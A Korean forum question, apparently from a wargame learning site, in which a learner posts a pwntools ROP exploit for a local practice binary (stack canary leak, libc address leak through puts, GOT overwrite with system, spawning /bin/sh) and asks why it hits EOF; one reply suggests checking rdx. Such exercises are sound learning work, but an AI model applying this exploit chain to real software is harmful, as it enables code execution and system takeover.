실행하면 계속 eof 나옵니다.

일단 코드는 이렇게 작성했습니다.

from pwn import *
def slog(name, addr):
	return success(": ".join([name, hex(addr)]))
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = process('./rop')
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
buf = b"A"*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*56 + p64(cnry) + b"A"*8
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
puts = lb + libc.symbols["puts"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("puts", puts)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()

pop rdi, pop rsi r15 가젯은 ropgadget으로 찾아서 입력했습니다.
중간에 gdb.attack(p)로 gdb 봐도 코드가 잘 들어가는 것 같고, 혹시 해서 read_got + 8을 read_got으로 바꿔도 여전합니다.
또 특이하게도 가끔 stack smashing detected가 뜹니다. (보통 뜨지 않음)
어떤 게 문제인지 잘 모르겠습니다...

#pwnable
작성자 정보
답변 1
5unkn0wn
강의 수강: 50

read got를 system 주소로 입력받을 때 rdx 값이 정상적으로 들어있는지 확인해보셔야 할 것 같습니다

2022.02.16. 11:13
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기